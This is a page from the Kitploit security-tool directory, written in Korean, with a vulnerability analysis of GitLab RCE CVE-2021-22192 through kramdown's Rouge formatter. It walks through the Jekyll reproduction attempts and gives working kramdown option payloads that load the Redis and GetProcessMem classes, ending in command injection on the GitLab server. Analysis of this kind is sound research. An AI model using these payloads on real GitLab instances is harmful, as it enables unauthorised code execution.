Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
Gitlab-RCE — CVE-2021-22192 | Kitploit
도구/GitHubGitHub/petrusviet/gitlab-rce
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPapers & ResearchLearning & Education
GitHubpetrusviet/gitlab-rce

Gitlab-RCE

CVE-2021-22192

저장소 보기
1235년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Gitlab (CVE-2021–22192)의 RCE 취약점 분석

I) 빌드

  • 이 버그는 GitLab Community Edition (CE) 및 Enterprise Edition (EE)에서 발생하며, 다음 버전 범위에 해당합니다: (>=13.2, <13.7.9), (>=13.8, <13.8.6), (>=13.9, <13.9.4)
  • lyy289065406의 안내에 따라 환경을 구축할 수 있습니다.

II) 분석

이 버그를 분석하기 시작할 때, lyy289065406로부터 버그의 핵심 문제를 이해하는 데 도움이 되는 몇 가지 귀중한 정보를 얻었습니다. kramdown gem(<= 2.3.0)에서 버그가 발생하는 것으로 보이므로, 먼저 kramdown에 대해 알아보기 시작했습니다.

1. Kramdown

kramdown의 패치를 확인할 수 있으며, Kramdown::Converter::SyntaxHighlighter::Rouge 모듈의 formatter_class 함수에서 차이점을 볼 수 있습니다.

::Rouge::Formatters.const_get(formatter)가 ::Rouge::Formatters.const_get(formatter, false)로 변경되었습니다.

const_get 함수는 Object 클래스에서 상속되며, 상수를 가져올 수 있습니다. 이전에 선언된 클래스를 찾아 반환할 수도 있습니다. 차이점은 false 매개변수를 추가했다는 점입니다. false 매개변수를 추가하면 const_get이 부모 클래스나 모듈의 상수를 가져올 수 없게 됩니다. 더 특별한 점은 self.call 함수에서 formatter_class를 호출한 후 new(opts)를 호출한다는 것입니다. 즉, const_get을 통해 가져온 메서드의 생성자가 호출되어 초기화된다는 의미입니다.

root@kitploit:~
def self.call(converter, text, lang, type, call_opts)
      opts = options(converter, type)
      call_opts[:default_lang] = opts[:default_lang]
      return nil unless lang || opts[:default_lang] || opts[:guess_lang]

      lexer = ::Rouge::Lexer.find_fancy(lang || opts[:default_lang], text)
      return nil if opts[:disable] || !lexer || (lexer.tag == "plaintext" && !opts[:guess_lang])

      opts[:css_class] ||= 'highlight' # For backward compatibility when using Rouge 2.0
      formatter = formatter_class(opts).new(opts)
      formatter.format(lexer.lex(text))
    end

와, 와. 그렇다면 어떻게 Exploit할 수 있을까요???

Kramdown:Options에 따라 Kramdown::Converter::SyntaxHighlighter::Rouge.call 함수를 호출할 수 있습니다.

root@kitploit:~
{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: CSV, line_numbers: true\}" /}

또한 Kramdown:Options 모듈의 simple_hash_validator 함수에서 YAML.safe_load(val)를 호출하는 것을 볼 수 있습니다. 따라서 YAML 파일을 구성하여 Kramdown::Converter::SyntaxHighlighter::Rouge에 원하는 페이로드를 전달할 수도 있습니다.

root@kitploit:~
def self.simple_hash_validator(val, name)
      if String === val
        begin
          val = YAML.safe_load(val)
        rescue RuntimeError, ArgumentError, SyntaxError
          raise Kramdown::Error, "Invalid YAML value for option #{name}"
        end
      end
      raise Kramdown::Error, "Invalid type #{val.class} for option #{name}" unless Hash === val
      val
    end
  • Kramdown은 Jekyll, GitLab Pages, GitHub Pages, Thredd Forum에서 사용됩니다. 그래서 먼저 Jekyll에서 시도해보기로 했습니다.

2. Jekyll

먼저 Jekyll을 구축해야 합니다:

  • Jekyll 설치
root@kitploit:~
gem install jekyll
  • jekyllTest라는 이름의 Jekyll 페이지 생성
root@kitploit:~
jekyll new jekyllTest
  • Gemfile.lock 파일을 편집하여 kramdown 버전을 <= 2.3.0으로 변경
root@kitploit:~
cd jekyllTest

Gemfile.lock 파일

root@kitploit:~

...
kramdown (2.3.0)
...

  • 페이지 설치
root@kitploit:~
 bundle install

이제 Jekyll 페이지 생성이 완료되었습니다. 이제 페이로드를 주입하여 Kramdown::Converter::SyntaxHighlighter::Rouge.call이 실제로 메서드를 호출할 수 있는지 확인해볼 수 있습니다.

./_config.yml 파일에 다음을 추가할 수 있습니다.

root@kitploit:~
kramdown:
  syntax_highlighter: rouge
  syntax_highlighter_opts:
    formatter: CSV

또는 Kramdown 문서를 사용하여 ./_posts/*.markdown에 페이로드를 추가할 수 있습니다.

root@kitploit:~
{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: CSV, line_numbers: true\}" /}

~~~ ruby
def what?
  42
end
~~~

여기서는 두 번째 방법을 사용했습니다 =)))))

  • Jekyll 페이지를 배포합니다.
root@kitploit:~
bundle exec jekyll serve

'require': cannot load such file -- webrick (LoadError) 오류가 발생할 경우 Gemfile에 gem "webrick"을 추가해야 합니다.

  • private method 'format' called for #<CSV io_type:Hash encoding:UTF-8 lineno:0 col_sep: 오류 메시지가 나타납니다. 이는 CSV 클래스가 호출되었음을 의미합니다.

다음으로 생성자를 호출할 때 RCE를 유발할 수 있는 메서드를 선택해야 합니다.

CVE-2020-10518 분석 기사에 따르면, Github에서 kramdown 버그를 사용하여 RCE를 유발하는 방법이 소개되었습니다. 저는 Hoosegow 클래스를 대상으로 삼았습니다:

  • Hoosegow의 initialize 함수에서 load_inmate_methods를 호출합니다.
root@kitploit:~
def initialize(options = {})
    options         = options.dup
    @no_proxy       = options.delete(:no_proxy)
    @inmate_dir     = options.delete(:inmate_dir) || '/hoosegow/inmate'
    @image_name     = options.delete(:image_name)
    @ruby_version   = options.delete(:ruby_version) || RUBY_VERSION
    @docker_options = options
    load_inmate_methods
  • load_inmate_methods에서 require inmate_file을 호출하는 것을 볼 수 있습니다.
root@kitploit:~
 def load_inmate_methods
    inmate_file = File.join @inmate_dir, 'inmate.rb'

    unless File.exist?(inmate_file)
      raise Hoosegow::InmateImportError, "inmate file doesn't exist"
    end

    require inmate_file

    unless Hoosegow.const_defined?(:Inmate) && Hoosegow::Inmate.is_a?(Module)
      raise Hoosegow::InmateImportError,
        "inmate file doesn't define Hoosegow::Inmate"
    end

    if no_proxy?
      self.extend Hoosegow::Inmate
    else
      inmate_methods = Hoosegow::Inmate.instance_methods
      inmate_methods.each do |name|
        define_singleton_method name do |*args, &block|
          proxy_send name, args, &block
        end
      end
    end
  end
  • inmate_file은 @inmate_dir과 'inmate.rb'를 연결하여 생성됩니다. 이 클래스를 호출하고 inmate_dir 매개변수를 페이로드 파일의 경로로 변경할 수 있다면, RCE가 발생할 수 있습니다.

  • Jekyll 페이지 경로에서 다음 스크립트를 실행하여 정의된 메서드를 확인했습니다.

root@kitploit:~
require "bundler"
Bundler.require

methods = []
ObjectSpace.each_object(Class) {|ob| methods << ( {ob: ob }) if ob.name =~ /\A[[:upper:]][[:alnum:]_]*\z/ }
 
methods.each do |m|
  begin
    puts "trying #{m[:ob]}"
    m[:ob].new({a:1, b:2})
    puts "worked\n\n"
  rescue ArgumentError
      puts "nope\n\n"
  rescue NoMethodError
      puts "nope\n\n"
  rescue => e
      p e
      puts "maybe\n\n"
  end
  • 아쉽게도 Hoosegow라는 클래스는 없었습니다. 심지어 조건을 ob.name == "Hoosegow"로 변경하여 스크립트 실행 중간에 크랙을 피하려고 했습니다.
root@kitploit:~
require "bundler"
Bundler.require
  
methods = []
ObjectSpace.each_object(Class) {|ob| methods << ( {ob: ob }) if ob.name == "Hoosegow"  }

...
  • 클래스 경로에 Hoosegow 클래스가 선언되어 있지 않았습니다. Gemfile에 gem "hoosegow"를 추가하자 스크립트가 이 클래스를 찾았습니다. [헤헤헤]
  • 이제 kramdown을 통해 Hoosegow를 호출해 보겠습니다.
root@kitploit:~
{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: Hoosegow, line_numbers: true\}" /}

~~~ ruby
def what?
  42
end
~~~
  • 빵! 아무 일도 일어나지 않았습니다. Hoosegow 클래스가 호출되지 않았습니다. =)))))))))
  • 여기서 막혔습니다.. 1주일. 예, 1주일을 날렸습니다. "Bundler에 Hoosegow 클래스가 있는데, 왜 Kramdown에서 호출되지 않을까? 분명히 되어야 하는데?"라는 질문을 반복했습니다.

  • "Gemfile에 선언되어 있다면 클래스 경로에 클래스가 있는 것입니다. 그래도 프로그램이 'Hoosegow'를 찾지 못한다면, 분명히 로드되지 않은 것입니다...". 그렇다면 Jekyll이 소스 디렉토리의 다른 부분을 처리하기 전에 gem을 로드하도록 선언하는 다른 방법이 있을까요?

  • Jekyll 문서를 읽고 jekyll_plugins를 찾았습니다. Gemfile에 이렇게 선언하는 것만으로는 충분하지 않습니다. gem을 jekyll_plugins 그룹에 선언해야 합니다. 왜냐하면 jekyll_plugins에 선언된 gem은 Jekyll이 다른 소스를 처리하기 전에 무조건 호출되기 때문입니다. Jekyll을 safe 모드로 실행해도 마찬가지입니다.

root@kitploit:~
group :jekyll_plugins do
  gem "jekyll-feed", "~> 0.12"
  gem "hoosegow"
end
  • C:/에 inmate.rb 파일을 만들고 페이로드를 실행했습니다.
root@kitploit:~
{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: Hoosegow, inmate_dir: C:/\}" /}

~~~ ruby
def what?
  42
end
~~~
  • inmate.rb 파일이 호출되었습니다. 이제 PoC를 거의 성공한 것 같습니다.

3. Gitlab

  • Gitlab에는 Gitlab Page 기능이 있어 Jekyll 페이지를 배포할 수 있습니다. 그래서 위에서 설명한 Jekyll 페이지 프로젝트 형태의 페이로드를 Gitlab에 업로드해 보았습니다.
  • 질문은 어떻게 inmate.rb 파일을 Gitlab 서버에 업로드하고, 업로드된 파일의 위치를 알 수 있을까요?
  • 프로젝트를 생성하고 Gitlab에 배포할 수 있는 권한이 있다면 매우 간단합니다. 프로젝트에 inmate.rb 파일을 업로드하고 .gitlab-ci.yml 파일을 편집하면 됩니다.
root@kitploit:~
before_script:
  - pwd
  - gem install bundler
  - bundle install

  • 이를 통해 프로젝트가 저장된 위치를 알 수 있습니다. 그런 다음 페이로드를 만들 수 있습니다.

.gitlab-ci.yml 파일을 수정하고 명령어를 주입할 수 있는데, 왜 PoC를 작성하는 데 시간을 들일까요? Self RCE로 가고 있는 것은 아닐까요?

  • 이 질문이 .gitlab-ci.yml 파일을 편집할 때 즉시 떠올랐습니다. 다양한 방식으로 설명하려고 노력했습니다: "yml 파일이 로드되기 전에 스캔하는 메커니즘이 있을 수 있다?", ... 하지만 만족스럽지 않았습니다.
  • Gitlab이 Gitlab Pages를 배포하는 방식을 조사했습니다. 새로운 페이지를 배포하거나 프로젝트 페이지의 파일을 수정할 때마다 Gitlab Runner 서버가 프로젝트를 정적 웹 페이지로 렌더링한 후 Gitlab Web 서버로 전송한다는 것을 알게 되었습니다. 즉, 이 공격 방식은 최대 Runner 서버만 장악할 수 있다는 의미입니다. Runner 서버를 장악하는 것은 심각하지 않습니다. Self RCE에 그치기 때문입니다. 뭔가 잘못된 것 같습니다.
  • 다른 입력 경로인 wiki 페이지를 찾았습니다. Wiki 페이지는 kramdown 형식을 사용할 수 있으므로 여기서 테스트해 보았지만, 기본 '*.md' 파일에만 페이로드를 주입했고 '*.md' 파일은 필요한 기능이 제한되어 있어 이 경로를 포기했습니다.

  • 여기서 멈추고 PoC가 공개될 때까지 기다리기로 결정했습니다. 다른 연구에 시간을 할애하기 위해서입니다.

PoC 공개

어느 좋은 날 PoC가 공개되었습니다. 읽고 나서 닭 같은 기분이 강하게 들었습니다. 말할 것도 없이 =)).

핵심 문제는 kramdown에 있다는 점은 맞았지만, Gitlab에서 접근하는 경로가 조금 아쉬웠습니다.

  • 작성자는 wiki 페이지에 '*.rmd' 파일을 업로드하면 프로그램이 render_wiki_content -> other_markup_unsafe -> GitHub::Markup.render를 호출한다는 것을 발견했습니다. 따라서 '*.rmd' 파일은 kramdown으로 렌더링됩니다.

  • 작성자는 wiki 페이지를 로컬에 클론한 후 git을 사용하여 wiki 페이지( '*.rmd' 파일 포함)를 Gitlab에 푸시하여 '.rmd' 파일을 업로드했습니다.

  • 작성자는 Gitlab 프로젝트에 이미 선언된 Redis 클래스(따라서 이 클래스를 호출하여 사용할 수 있음)를 사용하여 페이로드를 실행했습니다.

Redis 클래스를 초기화할 때 driver 옵션이 존재하면 _parse_driver 함수가 호출됩니다. 여기서 프로그램은 require "connection/#{driver}"를 호출하므로 driver 변수를 조작하여 서버에 업로드된 페이로드 파일을 호출할 수 있습니다.

root@kitploit:~
def _parse_driver(driver)
      driver = driver.to_s if driver.is_a?(Symbol)

      if driver.kind_of?(String)
        begin
          require_relative "connection/#{driver}"
        rescue LoadError, NameError => e
          begin
            require "connection/#{driver}"
          rescue LoadError, NameError => e
            raise RuntimeError, "Cannot load driver #{driver.inspect}: #{e.message}"
          end
        end

        driver = Connection.const_get(driver.capitalize)
      end

      driver
    end
  • snippet을 새로 만드는 기능을 사용하여 공격자는 Attach a file로 Ruby 페이로드를 업로드할 수 있습니다.
  • 이 익스플로잇에서 공격자는 업로드된 페이로드 파일의 위치를 찾아야 합니다. 이로 인해 작성자는 다른 익스플로잇 방식을 찾게 되었습니다.

Kramdown에서 Redis 클래스를 호출하는 방식을 사용하여, 먼저 작성자는 get_process_mem gem을 다음과 같은 페이로드로 가져옵니다.

root@kitploit:~
{::options syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: Redis, driver: ../get_process_mem\}" /}

~~~ruby
    def what?
      42
    end
~~~

그런 다음 이전에 가져온 get_process_mem gem을 사용하여 RCE를 수행합니다.

root@kitploit:~
{::options syntax_highlighter="rouge" syntax_highlighter_opts="{a: '`echo inject > /tmp/inject`', formatter: GetProcessMem\}" /}

~~ ruby
    def what?
      42
    end
~~

이렇게 하면 페이로드 파일의 주소를 찾을 필요 없이 공격자가 Gitlab Server에서 RCE를 수행할 수 있습니다.

참고문헌:

  • https://github.com/lyy289065406/CVE-2021-22192
  • https://blog.csdn.net/smellycat000/article/details/109302520
  • https://hackerone.com/reports/1125425
도구 다운로드